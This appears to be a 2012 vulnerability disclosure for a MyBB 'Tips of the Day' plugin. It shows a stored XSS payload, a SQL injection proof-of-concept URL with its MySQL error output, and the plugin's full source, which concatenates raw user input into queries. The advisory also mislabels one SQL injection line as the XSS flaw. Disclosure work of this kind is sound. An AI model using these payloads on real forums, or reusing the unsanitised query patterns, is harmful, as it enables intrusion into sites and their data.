# Exploit Title: TipsOfTheDay mybb plugin stored XSS and SQL injection vulnerabilitys.
# Date: 12.12.2012
# Exploit Author: VipVince
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://mods.mybb.com/view/tips-of-the-day
# Version: 1.0
# Tested on: Windows

The tipsoftheday.php file is vulnerable to two common web vulnerability's. I will demonstrate below:

**********************************Stored XSS.**********************************************

The vulnerability lies here.

<?php

$query = $db->simple_select("tipsoftheday_users", "*", "totdid=".$mybb->input['approve']);

?>

And can be exploited here.

http://www.server.com/dir/misc.php?tips=newtip


Add <script>alert(/xss/)</script> into the boxes as newtip and then refresh the page. Bingo our stored XSS pop up.


**************************************** SQLi Vuln ***************************************************

<?php

$query = $db->simple_select("tipsoftheday", "*", "totdid=".$mybb->input['tip']);
$tip = $db->fetch_array($query);

?>

As you can see has not been sanitized.


It can be exploited via admin panel. POC below:

http://www.server.com/bladir/admin/index.php?module=config-tipsoftheday&action=edittip&tip=[VAILD_ID]'[SQLi]

Result.

[quote]
MyBB has experienced an internal SQL error and cannot continue.
SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Query:
SELECT * FROM mybb_tipsoftheday WHERE totdid=1'
[/quote]

Brought to you by VipVince. Enjoy the 12/12/2012 "it only comes once" and all that bullshit.


<?php

if(!defined("IN_MYBB"))
{
	die("Direct initialization of this file is not allowed.<br /><br />Please make sure IN_MYBB is defined.");
}

$plugins->add_hook("admin_config_menu", "tipsoftheday_admin_nav");
$plugins->add_hook("admin_config_action_handler", "tipsoftheday_action_handler");
$plugins->add_hook("admin_load", "tipsoftheday_admin");
$plugins->add_hook("index_start", "tipsoftheday_index");
$plugins->add_hook("misc_start", "tipsusers");


function tipsoftheday_info()
{
	global $lang;
	$lang->load("config_tipsoftheday", false, true);
	return array(
		"name"			=> $lang->name,
		"description"	=> $lang->descriptionplugin,
		"website"		=> "http://mybb-es.com",
		"author"		=> "Edson Ordaz",
		"authorsite"	=> "http://mybb-es.com",
		"version"		=> "1.0",
		"guid" 			=> "f52d89922b319c5256b23cd1b3f09eb1",
		"compatibility" => "*"
	);
}

function tipsoftheday_activate()
{
	global $db,$lang,$message;
	$message .= $lang->activatemessage;
	$lang->load("config_tipsoftheday", false, true);
	if(!$db->table_exists("tipsoftheday") && !$db->table_exists("tipsoftheday_users"))
	{
		$db->query("CREATE TABLE IF NOT EXISTS `".TABLE_PREFIX."tipsoftheday` (
		  `totdid` smallint(5) unsigned NOT NULL AUTO_INCREMENT,
		  `uid` int(10) NOT NULL,
		  `tiptle` text NOT NULL DEFAULT '',
		  `tip` text NOT NULL DEFAULT '',
		  PRIMARY KEY (`totdid`)
		) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;");

		$db->query("CREATE TABLE IF NOT EXISTS `".TABLE_PREFIX."tipsoftheday_users` (
		  `totdid` smallint(5) unsigned NOT NULL AUTO_INCREMENT,
		  `uid` int(10) NOT NULL,
		  `tiptle` text NOT NULL DEFAULT '',
		  `tip` text NOT NULL DEFAULT '',
		  PRIMARY KEY (`totdid`)
		) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;");
	}
	$tipsoftheday = array(
		"tid" => "NULL",
		"title"		=> 'tipsoftheday',
		"template"	=> $db->escape_string('<style>
.tipoftheday{
	display: block;
	top:10px;
	left:10px;
	width:90%;
	border:3px solid #FFD324;
	background:#FFF6BF top left no-repeat;
	padding:8px 8px 8px;
	font-size:11px;
	-moz-border-radius: 10px;
	-webkit-border-radius: 10px;
	border-radius: 10px;
	-moz-box-shadow: 0px 0px 10px #777777;
	-webkit-box-shadow: 0px 0px 10px #777777;
	box-shadow: 0px 0px 10px #777777;
}
</style>

<span class="tipoftheday">
<strong>{$tip[\'tiptle\']}</strong><br />
{$tip[\'tip\']}
</span>
<br />'),
		"sid" => "-1",
	);
	$tipsoftheday_newtip = array(
		"tid" => "NULL",
		"title"		=> 'tipsoftheday_newtip',
		"template"	=> $db->escape_string('<html>
<head>
<title>{$lang->newtiptab}</title>
{$headerinclude}
</head>
<body>
{$header}
<form action="misc.php?tips=do_newtip" method="post" enctype="multipart/form-data" name="input">
<input type="hidden" name="my_post_key" value="{$mybb->post_code}" />
<table border="0" cellspacing="{$theme[\'borderwidth\']}" cellpadding="{$theme[\'tablespace\']}" class="tborder">
<tr>
<td class="thead" colspan="2"><strong>{$lang->newtiptab}</strong></td>
</tr>
<tr>
<td class="trow2" width="15%"><strong>{$lang->newtipsubject}</strong></td>
<td class="trow2"><input type="text" class="textbox" name="tiptle" size="60" maxlength="85" value="{$tiptle}" tabindex="1" /></td>
</tr>
<tr>
<td class="trow2" valign="top"><strong>{$lang->newtipbody}</strong></td>
<td class="trow2">
<textarea name="tip" rows="5" cols="70" tabindex="2">{$tip}&lt;/textarea&gt;
</td>
</tr>
</table>
<br /><div style="text-align:center">
<input type="submit" class="button" name="submit" value="{$lang->sendtipadmins}" tabindex="4" accesskey="s" />
<br /></div>
</form>
{$footer}
</body>
</html>'),
		"sid" => "-1",
	);
	$db->insert_query("templates", $tipsoftheday);
	$db->insert_query("templates", $tipsoftheday_newtip);
	require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
	find_replace_templatesets('index', '#{\$header}#', '{\$header}{$tips}');
	$updatetips = array(
			'uid' => 1,
			'tiptle' => $db->escape_string($lang->templatitle),
			'tip' => $db->escape_string($lang->templatbody)
	);
	$db->insert_query("tipsoftheday", $updatetips);
}


function tipsoftheday_deactivate()
{
	global $db;
	$db->drop_table("tipsoftheday");
	$db->drop_table("tipsoftheday_users");
	$db->delete_query("templates","title = 'tipsoftheday'");
	$db->delete_query("templates","title = 'tipsoftheday_newtip'");
	require MYBB_ROOT."/inc/adminfunctions_templates.php";
	find_replace_templatesets("index", '#{\$tips}#ism', "");
}


class Tips_Send_User {

	/*
	* Static tips
	*
	*/
	private static $tips;

	/*
	* Class tips
	*
	*/
	public static function Tips()
	{
		if(!is_object($tips))
		{
			$tips = new self;
		}

		return $tips;
	}

	/*
	* Verificar titulo
	* Tip enviado por miembro del foro
	*
	*/
	public function verify_title($title)
	{
		global $mybb,$lang;
		if(my_strlen(trim_blank_chrs($title)) > 5)
		{
			return true;
		}
		else
		{
			error($lang->tiptleminchars,$lang->name);
		}
	}

	/*
	*Verificar cuerpo del tip
	* Enviado por usuario del foro
	* Esperando aprobacion
	*
	*/
	public function verify_tip($tip)
	{
		global $mybb,$lang;
		if(my_strlen(trim_blank_chrs($tip)) > 15)
		{
			return true;
		}
		else
		{
			error($lang->tipbodyminchars,$lang->name);
		}
	}

	/*
	* Subir tip a tabla de tips
	* Esperando aprobacion
	*
	* Si se aprueba se muestra
	*
	*/
	public function update_new_tip($title,$tip,$uid)
	{
		global $db,$lang;
		$updatetips = array(
			'uid' => $uid,
			'tiptle' => $db->escape_string($title),
			'tip' => $db->escape_string($tip)
		);
		$totdid = $db->insert_query("tipsoftheday_users", $updatetips);
		redirect("index.php",$lang->sendpet);
	}

	/*
	* Tips
	* Pagina de usuarios
	* Pagina para el foro donde
	* Los usuarios envian tips al staff
	* Desde ACP son moderados
	* Para ser mostrados o no
	*
	*/
	public function Tips_Users()
	{
		global $db,$mybb,$templates,$theme;
		global $header,$headerinclude,$footer,$lang;
		$lang->load("admin/config_tipsoftheday", false, true);
		if($mybb->input['tips'] != "newtip" && $mybb->input['tips'] != "do_newtip")
		{
			return;
		}
		if($mybb->input['tips'] == "do_newtip" && $mybb->request_method == "post")
		{
			verify_post_check($mybb->input['my_post_key']);
			$this->verify_title($mybb->input['tiptle']);
			$this->verify_tip($mybb->input['tip']);
			$this->update_new_tip($mybb->input['tiptle'],$mybb->input['tip'],$mybb->user['uid']);
		}
		if($mybb->user['uid'] == 0)
		{
			error_no_permission();
		}
		add_breadcrumb($lang->addcreateheader);
		eval("\$newtip = \"".$templates->get("tipsoftheday_newtip")."\";");
		output_page($newtip);
	}
}


class tipsadmin
{
	/*
	* Admin Tip
	* TipsAdmin
	*
	*/
	private static $admintip;

	/*
	* Returns class
	*
	*/
	public static function TipsAdmin()
	{
		if(!is_object($admintip))
		{
			$admintip = new self;
		}

		return $admintip;
	}

	/*
	* Construct class
	*
	*/
	public function __construct()
	{
		$this->tipsoftheday = new tipsoftheday();
	}

	/*
	* Nav admin
	*
	*/
	public function AdminNav(&$nav)
	{
		global $mybb,$lang;
		$lang->load("config_tipsoftheday", false, true);
		end($nav);
		$key = (key($nav))+10;
		if(!$key)
		{
			$key = '110';
		}
		$nav[$key] = array('id' => "tipsoftheday", 'title' => $lang->name, 'link' => "index.php?module=config-tipsoftheday");
	}

	/*
	* Admin Load
	*
	*/
	public function AdminTips()
	{
		global $mybb, $db, $page, $cache, $lang;
		if($page->active_action != "tipsoftheday")
		{
			return;
		}
		$page->add_breadcrumb_item($lang->name);
		$page->output_header($lang->name);

		$this->action_save($mybb->input['tiptle'],$mybb->input['tip'],$mybb->user['uid']);
		$this->newtip();
		$this->deletetip();
		$this->edittip();
		$this->requests();
		$this->approve();
		$this->reject();
		$this->edittemplate();
		$this->templatenewtip();
		$this->savetemplate();
		$this->savetemplatenews();
		$this->saveedit();

		$this->tabs("tips");
		$this->tabletips($mybb->post_code);
		$page->output_footer();
	}

	/*
	* Guarda el tip del dia
	* Envia funcion
	*
	*/
	public function action_save($tiptle,$tip,$uid)
	{
		global $mybb;
		if($mybb->input['action'] == "save")
		{
			$this->tipsoftheday->Save_Tip($tiptle,$tip,$uid);
		}
	}

	/*
	* Pestañas de Configuracion
	*
	*/
	public function tabs($location)
	{
		global $page,$lang,$mybb;
		$lang->requeststabdes = $lang->sprintf($lang->requeststabdes, $mybb->settings['bburl']."/misc.php?tips=newtip");
		$tabs["tips"] = array(
		'title' => $lang->name,
		'link' => "index.php?module=config-tipsoftheday",
		'description' => $lang->tipsdestabs
		);
		$tabs["newtip"] = array(
			'title' => $lang->newtiptab,
			'link' => "index.php?module=config-tipsoftheday&action=newtip",
			'description' => $lang->newtiptabdes
		);
		$tabs["requests"] = array(
			'title' => $lang->requeststab,
			'link' => "index.php?module=config-tipsoftheday&action=requests",
			'description' => $lang->requeststabdes
		);
		if($location == "template" || $location == "usertips")
		{
			$lang->templatetab = $lang->nametabindex;
		}
		$tabs["template"] = array(
			'title' => $lang->templatetab,
			'link' => "index.php?module=config-tipsoftheday&action=template",
			'description' => $lang->templatetabdes
		);
		if($location == "template" || $location == "usertips")
		{
			$tabs["usertips"] = array(
				'title' => $lang->usertipstab,
				'link' => "index.php?module=config-tipsoftheday&action=templatenewtip",
				'description' => $lang->usertipstabdes
			);
		}
		$page->output_nav_tabs($tabs,$location);
	}

	/*
	* Guardar plantilla
	* Envia informacion
	* al siguiente class
	*
	*/
	public function savetemplate()
	{
		global $mybb,$db,$lang;
		if($mybb->input['action'] == "savetemplate")
		{
			if($mybb->input['continue'])
			{
				$this->tipsoftheday->savetemplate($mybb->input['template'],$mybb->user['uid']);
			}
			if($mybb->input['revert'])
			{
				$template = array(
					"template" => '<style>
.tipoftheday{
	display: block;
	top:10px;
	left:10px;
	width:90%;
	border:3px solid #FFD324;
	background:#FFF6BF top left no-repeat;
	padding:8px 8px 8px;
	font-size:11px;
	-moz-border-radius: 10px;
	-webkit-border-radius: 10px;
	border-radius: 10px;
	-moz-box-shadow: 0px 0px 10px #777777;
	-webkit-box-shadow: 0px 0px 10px #777777;
	box-shadow: 0px 0px 10px #777777;
}
</style>

<span class="tipoftheday">
<strong>{$tip[\\\'tiptle\\\']}</strong><br />
{$tip[\\\'tip\\\']}
</span>
<br />',
				);
				$db->update_query("templates", $template,"title='tipsoftheday'");
				$this->tipsoftheday->fmessage($lang->templatesave,"success","&action=template");
			}
		}
	}

	/*
	* Guardar plantilla
	* Peticiones
	*
	*/
	public function savetemplatenews()
	{
		global $mybb,$db,$lang;
		if($mybb->input['action'] == "savetemplatenews")
		{
			if($mybb->input['continue'])
			{
				$this->tipsoftheday->savetemplatenews($mybb->input['template'],$mybb->user['uid']);
			}
			if($mybb->input['revert'])
			{
				$template = array(
					"template" => '<html>
<head>
<title>{$lang->newtiptab}</title>
{$headerinclude}
</head>
<body>
{$header}
<form action="misc.php?tips=do_newtip" method="post" enctype="multipart/form-data" name="input">
<input type="hidden" name="my_post_key" value="{$mybb->post_code}" />
<table border="0" cellspacing="{$theme[\\\'borderwidth\\\']}" cellpadding="{$theme[\\\'tablespace\\\']}" class="tborder">
<tr>
<td class="thead" colspan="2"><strong>{$lang->newtiptab}</strong></td>
</tr>
<tr>
<td class="trow2" width="15%"><strong>{$lang->newtipsubject}</strong></td>
<td class="trow2"><input type="text" class="textbox" name="tiptle" size="60" maxlength="85" value="{$tiptle}" tabindex="1" /></td>
</tr>
<tr>
<td class="trow2" valign="top"><strong>{$lang->newtipbody}</strong></td>
<td class="trow2">
<textarea name="tip" rows="5" cols="70" tabindex="2">{$tip}&lt;/textarea&gt;
</td>
</tr>
</table>
<br /><div style="text-align:center">
<input type="submit" class="button" name="submit" value="{$lang->sendtipadmins}" tabindex="4" accesskey="s" />
<br /></div>
</form>
{$footer}
</body>
</html>',
				);
				$db->update_query("templates", $template,"title='tipsoftheday_newtip'");
				$this->tipsoftheday->fmessage($lang->templatesave,"success","&action=templatenewtip");
			}
		}
	}

	/*
	* Tabla de Tips
	*
	*/
	function tabletips($mpcode)
	{
		global $db,$lang,$mybb;
		$query = $db->simple_select('tipsoftheday', 'COUNT(totdid) AS tips', '', array('limit' => 1));
		$quantity = $db->fetch_field($query, "tips");
		$pagina = intval($mybb->input['page']);
		$perpage = 15;
		if($pagina > 0)
		{
			$start = ($pagina - 1) * $perpage;
			$pages = $quantity / $perpage;
			$pages = ceil($pages);
			if($pagina > $pages || $pagina <= 0)
			{
				$start = 0;
				$pagina = 1;
			}
		}
		else
		{
			$start = 0;
			$pagina = 1;
		}
		$pageurl = "index.php?module=config-tipsoftheday";
		$table = new Table;
		$table->construct_header($lang->user, array("width" => "10%"));
		$table->construct_header($lang->title, array("width" => "10%"));
		$table->construct_header($lang->tip, array("width" => "70%"));
		$table->construct_header($lang->edit, array("width" => "5%"));
		$table->construct_header($lang->delete, array("width" => "5%"));
		$table->construct_row();

		$query = $db->query('SELECT * FROM '.TABLE_PREFIX.'tipsoftheday ORDER BY totdid DESC LIMIT '.$start.', '.$perpage);
		while($tip = $db->fetch_array($query))
		{
			$lang->deletetippopup = $lang->sprintf($lang->deletetippopup, $tip['tiptle']);
			$table->construct_cell($this->tipsoftheday->username($tip[uid]));;
			$table->construct_cell($tip[tiptle]);
			$table->construct_cell($tip[tip]);
			$table->construct_cell("<a href=\"index.php?module=config-tipsoftheday&action=edittip&tip={$tip['totdid']}\" ><img src=\"styles/default/images/icons/custom.gif\" /></a>",array("class" => "align_center"));
			$table->construct_cell("<a href=\"index.php?module=config-tipsoftheday&action=deletetip&tip={$tip['totdid']}&my_post_key={$mpcode}\" onclick=\"return AdminCP.deleteConfirmation(this, '{$lang->deletetippopup}')\"><img src=\"styles/default/images/icons/delete.gif\" /> </a>",array("class" => "align_center"));
			$table->construct_row();
		}
		$table->output($lang->name);
		echo multipage($quantity, (int)$perpage, (int)$pagina, $pageurl);
	}

	/*
	* Tabla de peticiones
	*
	*/
	public function requests()
	{
		global $db,$lang,$page,$mybb;
		if($mybb->input['action'] == "requests")
		{
			$this->tabs("requests");
			$query = $db->simple_select('tipsoftheday_users', 'COUNT(totdid) AS tips', '', array('limit' => 1));
			$quantity = $db->fetch_field($query, "tips");
			$pagina = intval($mybb->input['page']);
			$perpage = 15;
			if($pagina > 0)
			{
				$start = ($pagina - 1) * $perpage;
				$pages = $quantity / $perpage;
				$pages = ceil($pages);
				if($pagina > $pages || $pagina <= 0)
				{
					$start = 0;
					$pagina = 1;
				}
			}
			else
			{
				$start = 0;
				$pagina = 1;
			}
			$pageurl = "index.php?module=config-tipsoftheday&action=requests";
			$table = new Table;
			$table->construct_header($lang->user, array("width" => "10%"));
			$table->construct_header($lang->title, array("width" => "10%"));
			$table->construct_header($lang->tip, array("width" => "70%"));
			$table->construct_header($lang->options, array("width" => "10%"));
			$table->construct_row();

			$query = $db->query('SELECT * FROM '.TABLE_PREFIX.'tipsoftheday_users ORDER BY totdid DESC LIMIT '.$start.', '.$perpage);
			while($tip = $db->fetch_array($query))
			{
				$lang->deletetippopup = $lang->sprintf($lang->deletetippopup, $tip['tiptle']);
				$table->construct_cell($this->tipsoftheday->username($tip[uid]));;
				$table->construct_cell($tip[tiptle]);
				$table->construct_cell($tip[tip]);
				$popup = new PopupMenu("tip_{$tip['totdid']}", $lang->options);
				$popup->add_item($lang->aprobe, "index.php?module=config-tipsoftheday&approve={$tip['totdid']}");
				$popup->add_item($lang->reject, "index.php?module=config-tipsoftheday&reject={$tip['totdid']}");
				$Popuss = $popup->fetch();
				$table->construct_cell($Popuss, array('class' => 'align_center'));
				$table->construct_row();
			}
			$table->output($lang->name);
			echo multipage($quantity, (int)$perpage, (int)$pagina, $pageurl);
			$page->output_footer();
		}
	}

	/*
	* Aprobar
	* Peticion
	*
	*/
	public function approve()
	{
		global $mybb,$db,$lang;
		if($mybb->input['approve'])
		{
			$query = $db->simple_select("tipsoftheday_users", "*", "totdid=".$mybb->input['approve']);
			$tip = $db->fetch_array($query);
			$title = $tip[tiptle];
			$tipbody = $tip[tip];
			$user = $tip[uid];
			$db->query("DELETE FROM ".TABLE_PREFIX."tipsoftheday_users WHERE totdid='".intval($mybb->input['approve'])."'");
			$this->tipsoftheday->Save_Tip($title,$tipbody,$user);
		}
	}

	/*
	* Rechazar el tip
	*
	*/
	public function reject()
	{
		global $mybb,$lang,$db;
		if($mybb->input['reject'])
		{
			$query = $db->simple_select("tipsoftheday_users", "*", "totdid=".$mybb->input['reject']);
			$tip = $db->fetch_array($query);
			if(!$tip['totdid'])
			{
				$this->tipsoftheday->fmessage($lang->tipnotexists,"error","");
			}
			$db->query("DELETE FROM ".TABLE_PREFIX."tipsoftheday_users WHERE totdid='".intval($mybb->input['reject'])."'");
			$this->tipsoftheday->fmessage($lang->deletetipsuccess,"success","&action=requests");
		}
	}

	/*
	* Nuevo Tip
	* Formulario
	*
	*/
	public function newtip()
	{
		global $mybb,$page,$lang;
		if($mybb->input['action'] == "newtip")
		{
			$this->tabs("newtip");
			$form = new Form("index.php?module=config-tipsoftheday&action=save", "post");
			$form_container = new FormContainer($lang->newtiptab);
			$form_container->output_row($lang->newtipsubject, $lang->newtipsubjectdes, $form->generate_text_box('tiptle', "", array('id' => 'tiptle')), 'tiptle');
			$form_container->output_row($lang->newtipbody, $lang->newtipbodydes, $form->generate_text_area('tip', "", array('id' => 'tip')), 'tip');
			$form_container->end();

			$buttons[] = $form->generate_submit_button($lang->savetip);
			$form->output_submit_wrapper($buttons);
			$form->end();
			$page->output_footer();
		}
	}

	/*
	* Eliminacion de Tip
	* Recibe totdid
	*
	*/
	public function deletetip()
	{
		global $db,$mybb,$page,$lang;
		if($mybb->input['action'] == "deletetip")
		{
			$query = $db->simple_select("tipsoftheday", "*", "totdid=".$mybb->input['tip']);
			$tip = $db->fetch_array($query);
			if(!$tip['totdid'])
			{
				$this->tipsoftheday->fmessage($lang->tipnotexists,"error","");
			}
			if($mybb->input['no'])
			{
				admin_redirect("index.php?module=config-tipsoftheday");
			}
			if($mybb->request_method == "post")
			{
				$db->query("DELETE FROM ".TABLE_PREFIX."tipsoftheday WHERE totdid='".intval($mybb->input['tip'])."'");
				$this->tipsoftheday->fmessage($lang->deletetipsuccess,"success","");
			}
			else
			{
				$page->output_confirm_action("index.php?module=config-tipsoftheday");
			}
		}
	}

	/*
	* Editar Tip
	*
	*/
	public function edittip()
	{
		global $mybb,$db,$page,$lang;
		if($mybb->input['action'] == "edittip")
		{
			$this->tipsoftheday->verify_totdid($mybb->input['tip']);
			$this->tabs("tips");
			$query = $db->query("SELECT * FROM ".TABLE_PREFIX."tipsoftheday WHERE totdid=".$mybb->input['tip']);
			$tip = $db->fetch_array($query);
			$form = new Form("index.php?module=config-tipsoftheday&action=saveedit", "post");
			echo $form->generate_hidden_field("totdid", $tip[totdid]);
			echo $form->generate_hidden_field("autor", $tip[uid]);
			$form_container = new FormContainer($tip[tiptle]);
			$form_container->output_row($lang->newtipsubject, $lang->newtipsubjectdes, $form->generate_text_box('tiptle',$tip[tiptle], array('id' => 'tiptle')), 'tiptle');
			$form_container->output_row($lang->newtipbody, $lang->newtipbodydes, $form->generate_text_area('tip',$tip[tip], array('id' => 'tip')), 'tip');
			$form_container->end();

			$buttons[] = $form->generate_submit_button($lang->saveedittip);
			$form->output_submit_wrapper($buttons);
			$form->end();
			$page->output_footer();
		}
	}

	/*
	* Guardar edicion
	*
	*/
	public function saveedit()
	{
		global $mybb;
		if($mybb->input['action'] == "saveedit")
		{
			$this->tipsoftheday->Save_Edit_Tip($mybb->input['totdid'],$mybb->input['tiptle'],$mybb->input['tip'],$mybb->input['autor']);
		}
	}

	/*
	* Editar Plantilla
	*
	*/
	public function edittemplate()
	{
		global $mybb,$db,$page,$lang;
		if($mybb->input['action'] == "template")
		{
			$this->tabs("template");
			$queryadmin=$db->simple_select('adminoptions','*','uid='.$mybb->user['uid']);
			$admin_options=$db->fetch_array($queryadmin);
			if($admin_options['codepress']!=0)
			{
				$page->extra_header='<link type="text/css" href="./jscripts/codepress/languages/codepress-mybb.css" rel="stylesheet" id="cp-lang-style" />
<script type="text/javascript" src="./jscripts/codepress/codepress.js"></script>
<script type="text/javascript">
		CodePress.language=\'mybb\';
</script>';
			}
			$query = $db->write_query("SELECT template FROM ".TABLE_PREFIX."templates WHERE title='tipsoftheday'");
			$template = $db->fetch_array($query);
			$form = new Form("index.php?module=config-tipsoftheday&action=savetemplate", "post");
			$form_container = new FormContainer("Editar Plantilla: ".$lang->name);
			$form_container->output_row($lang->edittemplatename."<em>*</em>",$lang->edittemplatenamedes, "<input type=\"text\" class=\"text_input\" value=\"tipsoftheday\" readonly=\"readonly\">");
			$form_container->output_row($lang->edittemplateset."<em>*</em>",$lang->edittemplatesetdes, "<select><option>{$lang->name}</option></select>");
			$form_container->output_row("","", $form->generate_text_area('template',$template['template'],array('id'=>'template','class'=>'codepress mybb','style'=>'width:100%;height:500px;')));
			$form_container->end();

			$buttons[] = $form->generate_submit_button($lang->savetemplate, array('name' => 'continue'));
			$buttons[] = $form->generate_submit_button($lang->backoriginal, array('name' => 'revert', 'onclick' => 'return confirm(\''.$lang->revertoriginalquestion.'\');'));
			$form->output_submit_wrapper($buttons);
			$form->end();

			if($admin_options['codepress']!=0)
			{
				echo '<script type="text/javascript">
		Event.observe(\'add_template\',\'submit\',function()
		{
			if($(\'template_cp\'))
			{
				var area=$(\'template_cp\');
				area.id=\'template\';
				area.value=template.getCode();
				area.disabled=false;
			}
		});
</script>';
			}
			$page->output_footer();
		}
	}

	/*
	* Editar plantilla
	* peticiones de tips
	*
	*/
	public function templatenewtip()
	{
		global $mybb,$db,$page,$lang;
		if($mybb->input['action'] == "templatenewtip")
		{
			$this->tabs("usertips");
			$queryadmin=$db->simple_select('adminoptions','*','uid='.$mybb->user['uid']);
			$admin_options=$db->fetch_array($queryadmin);
			if($admin_options['codepress']!=0)
			{
				$page->extra_header='<link type="text/css" href="./jscripts/codepress/languages/codepress-mybb.css" rel="stylesheet" id="cp-lang-style" />
<script type="text/javascript" src="./jscripts/codepress/codepress.js"></script>
<script type="text/javascript">
		CodePress.language=\'mybb\';
</script>';
			}
			$query = $db->write_query("SELECT template FROM ".TABLE_PREFIX."templates WHERE title='tipsoftheday_newtip'");
			$template = $db->fetch_array($query);
			$form = new Form("index.php?module=config-tipsoftheday&action=savetemplatenews", "post");
			$form_container = new FormContainer("Editar Plantilla: ".$lang->name);
			$form_container->output_row($lang->edittemplatename."<em>*</em>",$lang->edittemplatenamedes, "<input type=\"text\" class=\"text_input\" value=\"tipsoftheday_newtip\" readonly=\"readonly\">");
			$form_container->output_row($lang->edittemplateset."<em>*</em>",$lang->edittemplatesetdes, "<select><option>{$lang->name}</option></select>");
			$form_container->output_row("","", $form->generate_text_area('template',$template['template'],array('id'=>'template','class'=>'codepress mybb','style'=>'width:100%;height:500px;')));
			$form_container->end();

			$buttons[] = $form->generate_submit_button($lang->savetemplate, array('name' => 'continue'));
			$buttons[] = $form->generate_submit_button($lang->backoriginal, array('name' => 'revert', 'onclick' => 'return confirm(\''.$lang->revertoriginalquestion.'\');'));
			$form->output_submit_wrapper($buttons);
			$form->end();

			if($admin_options['codepress']!=0)
			{
				echo '<script type="text/javascript">
		Event.observe(\'add_template\',\'submit\',function()
		{
			if($(\'template_cp\'))
			{
				var area=$(\'template_cp\');
				area.id=\'template\';
				area.value=template.getCode();
				area.disabled=false;
			}
		});
</script>';
			}
			$page->output_footer();
		}
	}
}


class tipsoftheday {

	/**
	* Tips
	*
	*/
	private static $tips;

	/*
	* Static class
	*
	*/
	public static function Tips()
	{
		if(!is_object($tips))
		{
			$tips = new self;
		}

		return $tips;
	}

	/*
	* Guarda el tip del dia
	*
	*/
	public function Save_Tip($subject,$body,$user)
	{
		global $db,$lang;
		$this->verify_tiptle($subject);
		$this->verify_tip($body);
		$updatetips = array(
			'uid' => (int)($user),
			'tiptle' => $db->escape_string($subject),
			'tip' => $db->escape_string($body)
		);
		$totdid = $db->insert_query("tipsoftheday", $updatetips);
		$this->fmessage($lang->savetipsuccess,"success","");
	}

	/*
	* Error de caracteres minimos
	* Titulo y Mensaje
	*
	*/
	public function fmessage($langerror,$type,$url)
	{
		flash_message($langerror, $type);
		admin_redirect("index.php?module=config-tipsoftheday".$url);
	}

	/*
	* Verifica el mensaje del tip
	* Verificar si existen los caracteres correctos
	* Verificar que el mensaje no este vacio
	*
	*/
	public function verify_tip($tip)
	{
		global $mybb,$lang;
		if(my_strlen(trim_blank_chrs($tip)) == 0)
		{
			$this->fmessage($lang->tipbodyempty,"error","&action=newtip");
		}
		else if(strlen($tip) < 10)
		{
			$this->fmessage($lang->tipbodyminchars,"error","&action=newtip");
		}
		else if(my_strlen($tip) < 10)
		{
			$this->fmessage($lang->tipbodyminchars,"error","&action=newtip");
		}
		return true;
	}

	/*
	* Verifica si existe usuario
	*
	*/
	public function verify_user($uid)
	{
		global $db,$lang;
		$query = $db->simple_select("users", "COUNT(*) as user", "uid='".intval($uid)."'", array('limit' => 1));
		if($db->fetch_field($query, 'user') == 1)
		{
			return true;
		}
		else
		{
			$this->fmessage($lang->usernotexists,"error","");
		}
	}

	/*
	* Verifica que exista el Tip
	*
	*/
	public function verify_totdid($id)
	{
		global $db,$lang;
		$query = $db->simple_select("tipsoftheday", "COUNT(*) as tip", "totdid='".intval($id)."'", array('limit' => 1));
		if($db->fetch_field($query, 'tip') == 1)
		{
			return true;
		}
		else
		{
			$this->fmessage($lang->tipnotexistserror,"error","");
		}
	}

	/*
	* Verficar que el titulo
	* del tip no este vacio
	*
	* Solo necesita 3 caracteres para poder enviarse
	*
	*/
	public function verify_tiptle($tip)
	{
		global $mybb,$lang;
		if(my_strlen(trim_blank_chrs($tip)) > 3)
		{
			return true;
		}
		else
		{
			$this->fmessage($lang->tiptleminchars,"error","&action=newtip");
		}
	}

	/*
	* Verificar la plantilla
	* Verificar que no se encuentre vacia
	*
	*/
	public function verify_template($template,$url)
	{
		global $mybb,$lang;
		if(my_strlen(trim_blank_chrs($template)) != 0)
		{
			return true;
		}
		else
		{
			$this->fmessage($lang->templateminchars,"error",$url);
		}
	}

	/*
	* Formato de Nombre
	* Nombre con Color
	* Color del grupo Obtenido
	*
	*/
	public function username($uid)
	{
		global $db,$cache,$groupscache;
		$query_users = $db->simple_select("users", "*", "uid=".$uid);
		while($user = $db->fetch_array($query_users))
		{
			$groupscache = $cache->read("usergroups");
			$ugroup = $groupscache[$user['usergroup']];
			$format = $ugroup['namestyle'];
			$userin = substr_count($format, "{username}");
			if($userin == 0)
			{
				$format = "{username}";
			}
			$format = stripslashes($format);
			$username = str_replace("{username}", $user['username'], $format);
		}
		return $username;
	}

	/*
	* Guardar Plantilla
	*
	*/
	public function savetemplate($template,$uid)
	{
		global $mybb,$db,$lang;
		$this->verify_user($uid);
		$this->verify_template($template);
		$template = array(
			"template" => $db->escape_string($template)
		);
		$db->update_query("templates", $template,"title='tipsoftheday'");
		$this->fmessage($lang->templatesave,"success","&action=template");
	}

	/*
	* Guarda la plantilla
	* Petiiones
	*
	*/
	public function savetemplatenews($template,$uid)
	{
		global $mybb,$db,$lang;
		$this->verify_user($uid);
		$this->verify_template($template,"&action=templatenewtip");
		$template = array(
			"template" => $db->escape_string($template)
		);
		$db->update_query("templates", $template,"title='tipsoftheday_newtip'");
		$this->fmessage($lang->templatesave,"success","&action=templatenewtip");
	}

	/*
	* Guarda edicion de Tip
	*
	*/
	public function Save_Edit_Tip($id,$subject,$body,$uid)
	{
		global $db,$lang;
		$this->verify_tiptle($subject);
		$this->verify_tip($body);
		$this->verify_user($uid);
		$this->verify_totdid($id);

		$editupdate = array(
			'uid' => (int)($uid),
			'tiptle' => $db->escape_string($subject),
			'tip' => $db->escape_string($body)
		);
		$db->update_query("tipsoftheday", $editupdate,"totdid=".$id);
		$this->fmessage($lang->editsuccesssave,"success","");
	}

	/*
	* Funcion para mostrar Tip
	*
	*/
	public function Index_tips()
	{
		global $mybb,$tips,$db,$templates;
		$query = $db->query("SELECT * FROM ".TABLE_PREFIX."tipsoftheday ORDER BY RAND() LIMIT 1;");
		$tip = $db->fetch_array($query);
		eval("\$tips = \"".$templates->get("tipsoftheday")."\";");
	}
}

function tipsoftheday_action_handler(&$action)
{
	$action['tipsoftheday'] = array('active' => 'tipsoftheday', 'file' => '');
}

